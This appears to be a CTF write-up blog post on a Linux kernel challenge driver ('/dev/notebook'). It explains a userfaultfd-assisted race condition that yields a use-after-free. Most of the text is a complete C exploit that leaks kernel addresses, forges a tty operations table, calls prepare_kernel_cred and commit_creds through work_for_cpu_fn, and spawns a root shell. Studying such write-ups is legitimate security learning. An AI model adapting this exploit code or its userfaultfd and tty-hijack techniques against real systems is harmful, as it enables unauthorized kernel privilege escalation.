Introduction of Kernel Pwn: userfaultfd
0x00 Prologue
I only have little experience with kernel pwn. During the Intro_to_OS course, I read a lot of kernel code of xv6 and learned the kernel systematically. Although xv6 is a simple system while the Linux kernel is much more complex, the knowledge from xv6 learned helps a lot.
This post would not go too deep into the kernel because I am too weak to do that and I got all the solution ideas from CTF-wiki. You can also download the attachments at this link
0x01 userfaultfd
It’s a common trick used in kernel race condition exploitation. In general, it allows us to pause a thread so that it could be easier to trigger race conditions.
More specifically, we use userfaultfd to create a handler for a specific page. In exploitation cases, the copy_from_user may trigger a handler so that we can pause a thread.
I use the module from CTF-Wiki:
void RegisterUserfault(void *fault_page,void *handler)
{
    pthread_t thr;
    struct uffdio_api ua;
    struct uffdio_register ur;
    uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    ua.api = UFFD_API;
    ua.features = 0;
    if (ioctl(uffd, UFFDIO_API, &ua) == -1)
        Panic("ioctl-UFFDIO_API");
    ur.range.start = (unsigned long)fault_page; 
    ur.range.len   = PAGE_SIZE;
    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) 
        Panic("ioctl-UFFDIO_REGISTER");
    int s = pthread_create(&thr, NULL,handler, (void*)uffd);
    if (s!=0)
        Panic("pthread_create");
}
void* userfaultfd_leak_handler(void* arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long) arg;
    struct pollfd pollfd;
    int nready;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    
    nready = poll(&pollfd, 1, -1);
    sleep(3);
    if (nready != 1)
    {
        Panic("Wrong poll return val");
    }
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0)
    {
        Panic("msg err");
    }
    char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
    {
        Panic("[-] mmap err");
    }
    struct uffdio_copy uc;
    // init page
    memset(page, 0, sizeof(page));
    uc.src = (unsigned long) page;
    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);
    return NULL;
}
// char *example = mmap(NULL,0x1000,0x6,0x22,-1,0);
// RegisterUserfault(example,userfaultfd_leak_handler);
I don’t know the trick well so I only write down the gist of exp and you can get a more detailed passage on this link
0x02 Analysis
The vulnerability is about synchronization. Although there are some synchronization mechanisms, there is only read_lock in add and edit so that the size could be rewritten for free.
- Assume there are two steps in add(A:getsize & B:allocate) and two steps inedit(A:getsize & B:reallocate).
- There are 6 different conditions could happen if these steps happent in different order
- (1A1B2A2B),(1A2A1B2B),(1A2A2B1B),(reversed ones…)
There is a simple UAF if the steps happen in the following order:
- edit(0) -> A
- add(x) ->A & B
- edit(0) -> B
0x03 Exploit
I didn’t pay much time to review the details in the exploit script and only reproduce it by imitating so the explanation would be very limit.
- The main idea is to control a tty fd and modify the ops table.
- We can use work_for_cpu_fnto run arbitrary function with our parameter
- There is a little limit about write. The element would be changed before triggeringwork_forcpu_fn
- In chaitin’s script, they hijack ioctl and use ioctl(233,233)to correctly triggerwork_forcpu_fnwithout modifying our parameters.
//gcc ./fs/exp.c -masm=intel --static -o ./fs/exp
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <poll.h>
#include <sys/mman.h>
#define PAGE_SIZE 0x1000
#define TTYMAGIC 0x100005401
void * hit ;
uint64_t u64(uint8_t *buf)
{
    uint64_t res = 0;
    for(int i =0 ; i < 8;i++)
    {
        res = res<<8;
        res+=(unsigned int)buf[7-i];
    }
    return res;
}
void Panic(char *s)
{
    printf("[!] Panic:");
    puts(s);
    exit(1);
}
typedef struct{
        size_t idx;
        size_t size;
        char * buf;
    }X;
int fp = 0 ; 
void RegisterUserfault(void *fault_page,void *handler)
{
    pthread_t thr;
    struct uffdio_api ua;
    struct uffdio_register ur;
    uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    ua.api = UFFD_API;
    ua.features = 0;
    if (ioctl(uffd, UFFDIO_API, &ua) == -1)
        Panic("ioctl-UFFDIO_API");
    ur.range.start = (unsigned long)fault_page; 
    ur.range.len   = PAGE_SIZE;
    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) 
        Panic("ioctl-UFFDIO_REGISTER");
    int s = pthread_create(&thr, NULL,handler, (void*)uffd);
    if (s!=0)
        Panic("pthread_create");
}
void* userfaultfd_leak_handler(void* arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long) arg;
    struct pollfd pollfd;
    int nready;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    
    nready = poll(&pollfd, 1, -1);
    sleep(3);
    if (nready != 1)
    {
        Panic("Wrong poll return val");
    }
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0)
    {
        Panic("msg err");
    }
    char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
    {
        Panic("[-] mmap err");
    }
    struct uffdio_copy uc;
    // init page
    memset(page, 0, sizeof(page));
    uc.src = (unsigned long) page;
    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);
    return NULL;
}
void add(size_t idx,size_t size,size_t name)
{
    X n132;
    n132.idx = idx;
    n132.buf = name;
    n132.size = size;
    ioctl(fp,0x100,&n132);
}
void edit(size_t idx,size_t size,size_t name){
    X n132;
    n132.idx = idx;
    n132.buf = name;
    n132.size = size;
    ioctl(fp,0x300,&n132);
}
void gift(size_t name){
    X n132;
    n132.idx = 1;
    n132.buf = name;
    n132.size = 1;
    ioctl(fp,0x64,&n132);
}
void add_thread(size_t idx)
{
    add(idx,0x60,hit);
}
void edit_thread(size_t idx)
{
    edit(idx,0,hit);
}
int main()
{
    char buf[0x1000]={0};
    hit = mmap(NULL,0x1000,0x6,0x22,-1,0);
    RegisterUserfault(hit,userfaultfd_leak_handler);
    fp = open("/dev/notebook",2);
    if(fp<0)
        Panic("OPEN");
    add(0,0x60,"n132");
    add(1,0x60,"n132");
    
    edit(0,0x2e0,"n132");
    edit(1,0x500,"n132");
    pthread_t add_t,edit_t;
    pthread_create(&add_t,NULL,edit_thread,0);
    sleep(0.5);
    pthread_create(&edit_t,NULL,add_thread,0);
    sleep(0.5);
    int mx = -1;
    for(int i =0;i<0x20;i++)
    {
        mx = open("/dev/ptmx",O_RDWR|O_NOCTTY);
        if(mx<0)
            Panic("PTMX");
        read(fp,buf,0);
        if(*(size_t *)buf == TTYMAGIC)
            break;//UAF
    }
    if(*(size_t *)buf != TTYMAGIC)
        Panic("Fail to UAF");
    
    
    char gift_buf[0x100];
    gift(gift_buf);
    size_t note_addr = u64(gift_buf+0x10);
    read(fp,buf,0);
    size_t leak = u64(buf+0x18);
    // Relocate Functions
    size_t work_for_cpu = leak+(0xffffffff8109eb90-0xffffffff81e8e440);
    size_t commit_cred  = leak+(0xffffffff810a9b40-0xffffffff81e8e440);
    size_t prepare_cred = leak+(0xffffffff810a9ef0-0xffffffff81e8e440);
    size_t * fake_tty[0x100] = {0};
    size_t * vtable[0x100] = {0};
    read(fp,( char * )fake_tty,0);
    fake_tty[3] = note_addr;
    fake_tty[4] = prepare_cred;
    fake_tty[5] = 0;
    // Modify the Vtable of TTY fd
    write(fp,( char * )fake_tty,0);
    vtable[12] = work_for_cpu;
    write(fp,vtable,1);
    //
    printf("[+] Prepare a cred\n");
    ioctl(mx,233,233);//TBD
    read(fp,( char * )fake_tty,0);
    size_t cred = u64(&fake_tty[6]);
    // printf("%p\n",cred);
    read(fp,( char * )fake_tty,0);
    fake_tty[4] = commit_cred;
    fake_tty[5] = cred;
    write(fp,( char * )fake_tty,0);
    puts("[+] Commit the cred");
    ioctl(mx,233,233);
    read(fp,( char * )fake_tty,0);
    if(0!=u64(&fake_tty[6]))
        Panic("Fail to commit the cred");
    puts("[+] Spawning a root shell...");
    puts("[!] Hi Root,");
    system("/bin/sh");
}